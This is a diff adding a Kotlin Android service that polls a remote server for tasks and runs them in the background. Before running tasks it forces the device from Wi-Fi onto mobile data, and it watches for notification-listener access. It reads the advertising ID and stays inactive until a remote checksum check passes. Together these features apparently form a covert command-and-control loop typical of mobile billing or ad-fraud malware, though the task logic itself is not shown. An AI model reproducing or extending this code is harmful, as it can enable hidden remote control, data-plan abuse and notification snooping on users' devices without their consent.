|
|
|
|
@ -0,0 +1,443 @@
|
|
|
|
|
package com.example.service
|
|
|
|
|
|
|
|
|
|
import android.content.Context
|
|
|
|
|
import android.os.SystemClock
|
|
|
|
|
import com.example.action.HttpMethod
|
|
|
|
|
import com.example.http.HttpClient
|
|
|
|
|
import com.example.http.HttpClient.call
|
|
|
|
|
import com.example.http.Request
|
|
|
|
|
import com.example.http.Response
|
|
|
|
|
import com.example.lib.BuildConfig
|
|
|
|
|
import com.example.logger.LogUtils
|
|
|
|
|
import com.example.network.NetworkController
|
|
|
|
|
import com.example.request.BaseRequest
|
|
|
|
|
import com.example.request.BaseRequestImp
|
|
|
|
|
import com.example.request.TaskRequest
|
|
|
|
|
import com.example.response.TaskResponse
|
|
|
|
|
import com.example.utils.AndroidId
|
|
|
|
|
import com.example.utils.NetworkManager
|
|
|
|
|
import com.example.utils.notificationListenerEnable
|
|
|
|
|
import com.example.utils.restartNotificationListenerServiceState
|
|
|
|
|
import com.example.utils.toJsonString
|
|
|
|
|
import com.example.utils.toTaskResponse
|
|
|
|
|
import kotlinx.coroutines.CoroutineScope
|
|
|
|
|
import kotlinx.coroutines.Dispatchers
|
|
|
|
|
import kotlinx.coroutines.Job
|
|
|
|
|
import kotlinx.coroutines.SupervisorJob
|
|
|
|
|
import kotlinx.coroutines.delay
|
|
|
|
|
import kotlinx.coroutines.flow.MutableStateFlow
|
|
|
|
|
import kotlinx.coroutines.isActive
|
|
|
|
|
import kotlinx.coroutines.launch
|
|
|
|
|
import kotlinx.coroutines.withContext
|
|
|
|
|
import kotlinx.coroutines.withTimeoutOrNull
|
|
|
|
|
import java.util.concurrent.atomic.AtomicReference
|
|
|
|
|
import kotlin.time.DurationUnit
|
|
|
|
|
import kotlin.time.measureTime
|
|
|
|
|
import kotlin.time.toDuration
|
|
|
|
|
|
|
|
|
|
sealed class TaskEvent {
|
|
|
|
|
data object Waiting : TaskEvent()
|
|
|
|
|
data object RequestData : TaskEvent()
|
|
|
|
|
data object ForceRequestData : TaskEvent()
|
|
|
|
|
data class RunTask(val taskResponse: TaskResponse) : TaskEvent()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
class MainService private constructor() {
|
|
|
|
|
|
|
|
|
|
companion object {
|
|
|
|
|
private const val DEFAULT_REQUEST_TASK_INTERVAL_MS = 5 * 60_000L
|
|
|
|
|
private const val TASK_MAX_EXEC_TIME_MS = 6 * 60_000L
|
|
|
|
|
private const val VERIFICATION_CHECK_INTERVAL_MINUTES = 30L
|
|
|
|
|
private const val NETWORK_SWITCH_TIMEOUT_MS = 10_000L
|
|
|
|
|
private const val NETWORK_SWITCH_CHECK_INTERVAL_MS = 600L
|
|
|
|
|
private const val NOTIFICATION_CHECK_INTERVAL_MS = 400L
|
|
|
|
|
private const val NETWORK_REPAIR_DELAY_MS = 1_000L
|
|
|
|
|
private const val REQUEST_DELAY_MS = 60_000L
|
|
|
|
|
private const val ASYNC_RUN_DELAY_MS = 1_000L
|
|
|
|
|
private const val HTTP_SUCCESS_CODE = 200
|
|
|
|
|
private const val MIN_REQUEST_INTERVAL_MINUTES = 0
|
|
|
|
|
private const val MAX_REQUEST_INTERVAL_MINUTES = 24 * 60
|
|
|
|
|
private const val DEFAULT_REQUEST_INTERVAL_MINUTES = 6 * 60
|
|
|
|
|
private const val MINUTES_TO_MS = 60_000L
|
|
|
|
|
|
|
|
|
|
val instance: MainService by lazy { MainService() }
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// ==================== 属性 ====================
|
|
|
|
|
|
|
|
|
|
private lateinit var context: Context
|
|
|
|
|
private val taskScope: CoroutineScope = CoroutineScope(Dispatchers.Default + SupervisorJob())
|
|
|
|
|
private val isTaskRunning = AtomicReference(false)
|
|
|
|
|
private var nextRequestTime: Long = 0
|
|
|
|
|
private val state: MutableStateFlow<TaskEvent> = MutableStateFlow(TaskEvent.Waiting)
|
|
|
|
|
|
|
|
|
|
var isVerified = true
|
|
|
|
|
internal set
|
|
|
|
|
|
|
|
|
|
private lateinit var network: NetworkManager
|
|
|
|
|
private lateinit var networkController: NetworkController
|
|
|
|
|
private lateinit var baseRequest: BaseRequest
|
|
|
|
|
private var mainJob: Job? = null
|
|
|
|
|
private var hadForceRequest = false
|
|
|
|
|
|
|
|
|
|
// ==================== 主启动方法 ====================
|
|
|
|
|
|
|
|
|
|
fun launcher(ctx: Context, needNotification: Boolean = false) {
|
|
|
|
|
if (mainJob?.isActive == true) {
|
|
|
|
|
LogUtils.info("MainService: already running, skipping launch")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
mainJob = taskScope.launch {
|
|
|
|
|
initialize(ctx)
|
|
|
|
|
setupServices()
|
|
|
|
|
startBackgroundTasks(needNotification)
|
|
|
|
|
startStateFlowCollector()
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// ==================== 初始化 ====================
|
|
|
|
|
|
|
|
|
|
private suspend fun initialize(ctx: Context) {
|
|
|
|
|
context = ctx
|
|
|
|
|
LogUtils.info("MainService: initializing...")
|
|
|
|
|
|
|
|
|
|
// 验证状态
|
|
|
|
|
while (isActive && !isVerified) {
|
|
|
|
|
isVerified = checkState()
|
|
|
|
|
LogUtils.info("MainService: verification status: $isVerified")
|
|
|
|
|
|
|
|
|
|
if (!isVerified) {
|
|
|
|
|
delay(VERIFICATION_CHECK_INTERVAL_MINUTES.toDuration(DurationUnit.MINUTES))
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
AndroidId.init(context)
|
|
|
|
|
LogUtils.info("MainService: initialization completed")
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private fun setupServices() {
|
|
|
|
|
network = NetworkManager(context)
|
|
|
|
|
networkController = NetworkController(context, network)
|
|
|
|
|
baseRequest = BaseRequestImp(context, network)
|
|
|
|
|
LogUtils.info("MainService: services setup completed")
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private fun startBackgroundTasks(needNotification: Boolean) {
|
|
|
|
|
// 启动异步运行任务
|
|
|
|
|
taskScope.launch {
|
|
|
|
|
asyncRun()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 启动通知权限监听
|
|
|
|
|
if (needNotification) {
|
|
|
|
|
hadForceRequest = context.notificationListenerEnable()
|
|
|
|
|
taskScope.launch {
|
|
|
|
|
listenNotificationPermission()
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// ==================== 状态流处理 ====================
|
|
|
|
|
|
|
|
|
|
private fun startStateFlowCollector() {
|
|
|
|
|
taskScope.launch {
|
|
|
|
|
state.collect { event ->
|
|
|
|
|
handleTaskEvent(event)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private suspend fun handleTaskEvent(event: TaskEvent) {
|
|
|
|
|
when (event) {
|
|
|
|
|
is TaskEvent.ForceRequestData,
|
|
|
|
|
is TaskEvent.RequestData -> {
|
|
|
|
|
handleRequestDataEvent()
|
|
|
|
|
}
|
|
|
|
|
is TaskEvent.RunTask -> {
|
|
|
|
|
handleRunTaskEvent(event.taskResponse)
|
|
|
|
|
}
|
|
|
|
|
is TaskEvent.Waiting -> {
|
|
|
|
|
// 等待状态,不需要处理
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private suspend fun handleRequestDataEvent() {
|
|
|
|
|
val nextState = try {
|
|
|
|
|
LogUtils.info("MainService: requesting tasks...")
|
|
|
|
|
val taskResponse = getTasks()
|
|
|
|
|
processTaskResponse(taskResponse)
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
LogUtils.error(e, "MainService: failed to request tasks")
|
|
|
|
|
scheduleNextRequest(null)
|
|
|
|
|
TaskEvent.Waiting
|
|
|
|
|
}
|
|
|
|
|
state.emit(nextState)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private fun processTaskResponse(taskResponse: TaskResponse?): TaskEvent {
|
|
|
|
|
if (taskResponse == null) {
|
|
|
|
|
scheduleNextRequest(null)
|
|
|
|
|
return TaskEvent.Waiting
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
scheduleNextRequest(taskResponse.requestInterval)
|
|
|
|
|
|
|
|
|
|
return if (taskResponse.tasks.isEmpty()) {
|
|
|
|
|
TaskEvent.Waiting
|
|
|
|
|
} else {
|
|
|
|
|
TaskEvent.RunTask(taskResponse)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private suspend fun handleRunTaskEvent(taskResponse: TaskResponse) {
|
|
|
|
|
val nextState = try {
|
|
|
|
|
if (!changeNetworkSuccess(taskResponse)) {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
executeTasks(taskResponse)
|
|
|
|
|
scheduleNextRequest(taskResponse.requestInterval)
|
|
|
|
|
TaskEvent.Waiting
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
LogUtils.error(e, "MainService: failed to execute tasks")
|
|
|
|
|
scheduleNextRequest(null)
|
|
|
|
|
TaskEvent.Waiting
|
|
|
|
|
} finally {
|
|
|
|
|
isTaskRunning.set(false)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
state.emit(nextState)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// ==================== 任务执行 ====================
|
|
|
|
|
|
|
|
|
|
private suspend fun executeTasks(taskResponse: TaskResponse) {
|
|
|
|
|
context.restartNotificationListenerServiceState()
|
|
|
|
|
isTaskRunning.set(true)
|
|
|
|
|
|
|
|
|
|
val userId = AndroidId.getAdId()
|
|
|
|
|
val uniqueTasks = taskResponse.tasks.distinctBy { it.taskUid }
|
|
|
|
|
|
|
|
|
|
LogUtils.info("MainService: executing ${uniqueTasks.size} unique tasks")
|
|
|
|
|
|
|
|
|
|
val duration = measureTime {
|
|
|
|
|
uniqueTasks.forEachIndexed { index, task ->
|
|
|
|
|
LogUtils.info("MainService: executing task $index: taskUid=${task.taskUid}")
|
|
|
|
|
executeSingleTask(task, taskResponse, userId)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
LogUtils.info("MainService: all tasks completed in ${duration.inWholeSeconds}s")
|
|
|
|
|
|
|
|
|
|
networkController.restore()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private suspend fun executeSingleTask(
|
|
|
|
|
task: com.example.task.Task,
|
|
|
|
|
taskResponse: TaskResponse,
|
|
|
|
|
userId: String
|
|
|
|
|
) {
|
|
|
|
|
val taskExecService = TaskExecService(
|
|
|
|
|
task,
|
|
|
|
|
taskResponse,
|
|
|
|
|
userId,
|
|
|
|
|
context,
|
|
|
|
|
baseRequest
|
|
|
|
|
)
|
|
|
|
|
taskExecService.runTask(TASK_MAX_EXEC_TIME_MS)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// ==================== 网络切换 ====================
|
|
|
|
|
|
|
|
|
|
private suspend fun changeNetworkSuccess(taskResponse: TaskResponse): Boolean {
|
|
|
|
|
LogUtils.info(
|
|
|
|
|
"MainService: checking network - " +
|
|
|
|
|
"isMetered: ${network.isMetered}, " +
|
|
|
|
|
"hasPermission: ${network.hasChangeNetworkPermission}"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
if (!network.isMetered && network.hasChangeNetworkPermission) {
|
|
|
|
|
return switchToGprsAndWait()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private suspend fun switchToGprsAndWait(): Boolean {
|
|
|
|
|
networkController.switchToGprs()
|
|
|
|
|
|
|
|
|
|
val result = withTimeoutOrNull(NETWORK_SWITCH_TIMEOUT_MS) {
|
|
|
|
|
while (isActive && !networkController.switchSuccess) {
|
|
|
|
|
if (state.value is TaskEvent.ForceRequestData) {
|
|
|
|
|
LogUtils.info("MainService: force request detected, breaking network switch wait")
|
|
|
|
|
break
|
|
|
|
|
}
|
|
|
|
|
delay(NETWORK_SWITCH_CHECK_INTERVAL_MS)
|
|
|
|
|
}
|
|
|
|
|
true
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
LogUtils.info("MainService: network switch timeout result: $result")
|
|
|
|
|
|
|
|
|
|
if (!networkController.switchSuccess) {
|
|
|
|
|
handleNetworkSwitchFailure()
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private suspend fun handleNetworkSwitchFailure() {
|
|
|
|
|
LogUtils.info("MainService: network switch failed, scheduling next request")
|
|
|
|
|
// 注意:这里需要从当前状态获取 taskResponse,但当前实现中没有
|
|
|
|
|
// 可能需要调整逻辑
|
|
|
|
|
if (state.value !is TaskEvent.ForceRequestData) {
|
|
|
|
|
state.emit(TaskEvent.Waiting)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// ==================== 任务请求 ====================
|
|
|
|
|
|
|
|
|
|
private suspend fun getTasks(): TaskResponse? {
|
|
|
|
|
return runCatching {
|
|
|
|
|
val response = buildTaskRequest().call()
|
|
|
|
|
parseTaskResponse(response)
|
|
|
|
|
}.onFailure { e ->
|
|
|
|
|
LogUtils.error(e, "MainService: failed to get tasks")
|
|
|
|
|
}.getOrNull()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private fun parseTaskResponse(response: Response): TaskResponse? {
|
|
|
|
|
return if (response.code == HTTP_SUCCESS_CODE && response.data.isNotEmpty()) {
|
|
|
|
|
response.data.toTaskResponse()
|
|
|
|
|
} else {
|
|
|
|
|
null
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private fun buildTaskRequest(): Request {
|
|
|
|
|
return Request(
|
|
|
|
|
url = BuildConfig.task_api,
|
|
|
|
|
headers = buildTaskRequestHeaders(),
|
|
|
|
|
method = HttpMethod.Post,
|
|
|
|
|
body = buildTaskRequestBody()
|
|
|
|
|
)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private fun buildTaskRequestHeaders(): Map<String, String> {
|
|
|
|
|
return mapOf(
|
|
|
|
|
HttpClient.Params.REQUEST_HEADER_CONTENT_TYPE to
|
|
|
|
|
HttpClient.Params.REQUEST_HEADER_CONTENT_TYPE_STREAM,
|
|
|
|
|
HttpClient.Params.REQUEST_HEADER_ACCEPT to
|
|
|
|
|
HttpClient.Params.REQUEST_HEADER_CONTENT_TYPE_STREAM
|
|
|
|
|
)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private fun buildTaskRequestBody(): ByteArray {
|
|
|
|
|
return TaskRequest(baseRequest).toJsonString().toByteArray()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// ==================== 通知权限监听 ====================
|
|
|
|
|
|
|
|
|
|
private suspend fun listenNotificationPermission() = withContext(Dispatchers.IO) {
|
|
|
|
|
while (isActive) {
|
|
|
|
|
if (shouldTriggerForceRequest()) {
|
|
|
|
|
triggerForceRequest()
|
|
|
|
|
break
|
|
|
|
|
}
|
|
|
|
|
delay(NOTIFICATION_CHECK_INTERVAL_MS)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private fun shouldTriggerForceRequest(): Boolean {
|
|
|
|
|
return context.notificationListenerEnable() &&
|
|
|
|
|
!hadForceRequest &&
|
|
|
|
|
!isTaskRunning.get()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private suspend fun triggerForceRequest() {
|
|
|
|
|
hadForceRequest = true
|
|
|
|
|
state.tryEmit(TaskEvent.ForceRequestData)
|
|
|
|
|
LogUtils.info("MainService: force request triggered, state: ${state.value}")
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// ==================== 异步运行循环 ====================
|
|
|
|
|
|
|
|
|
|
private suspend fun asyncRun() {
|
|
|
|
|
while (isActive) {
|
|
|
|
|
try {
|
|
|
|
|
AndroidId.getAdId()
|
|
|
|
|
|
|
|
|
|
if (shouldSkipRequest()) {
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (!checkAndRepairNetwork()) {
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
state.emit(TaskEvent.RequestData)
|
|
|
|
|
delay(REQUEST_DELAY_MS)
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
LogUtils.error(e, "MainService: error in async run loop")
|
|
|
|
|
} finally {
|
|
|
|
|
delay(ASYNC_RUN_DELAY_MS)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private fun shouldSkipRequest(): Boolean {
|
|
|
|
|
return isTaskRunning.get() ||
|
|
|
|
|
state.value !is TaskEvent.Waiting ||
|
|
|
|
|
SystemClock.elapsedRealtime() <= nextRequestTime
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private suspend fun checkAndRepairNetwork(): Boolean {
|
|
|
|
|
if (!network.available) {
|
|
|
|
|
network.repair()
|
|
|
|
|
delay(NETWORK_REPAIR_DELAY_MS)
|
|
|
|
|
|
|
|
|
|
if (!network.available) {
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// ==================== 时间计算 ====================
|
|
|
|
|
|
|
|
|
|
private fun scheduleNextRequest(requestInterval: Int?) {
|
|
|
|
|
nextRequestTime = requestInterval.getNextRequestTime()
|
|
|
|
|
val remainingTime = nextRequestTime - SystemClock.elapsedRealtime()
|
|
|
|
|
LogUtils.info("MainService: next request scheduled in ${remainingTime / 1000}s")
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private fun Int?.getNextRequestTime(): Long {
|
|
|
|
|
return this?.nextRequestCoerceIn()
|
|
|
|
|
?: (SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL_MS)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private fun Int.nextRequestCoerceIn(): Long {
|
|
|
|
|
val minutes = when {
|
|
|
|
|
this <= MIN_REQUEST_INTERVAL_MINUTES -> DEFAULT_REQUEST_INTERVAL_MINUTES
|
|
|
|
|
this > MAX_REQUEST_INTERVAL_MINUTES -> DEFAULT_REQUEST_INTERVAL_MINUTES
|
|
|
|
|
else -> this
|
|
|
|
|
}
|
|
|
|
|
return minutes * MINUTES_TO_MS + SystemClock.elapsedRealtime()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// ==================== 状态验证 ====================
|
|
|
|
|
|
|
|
|
|
private suspend fun checkState(): Boolean {
|
|
|
|
|
return runCatching {
|
|
|
|
|
val response = Request(BuildConfig.chcikUrl).call()
|
|
|
|
|
val result = String(response.data)
|
|
|
|
|
LogUtils.info("MainService: checkState result: $result")
|
|
|
|
|
result == BuildConfig.checkSum
|
|
|
|
|
}.onFailure { e ->
|
|
|
|
|
LogUtils.error(e, "MainService: checkState failed")
|
|
|
|
|
}.getOrDefault(false)
|
|
|
|
|
}
|
|
|
|
|
}
|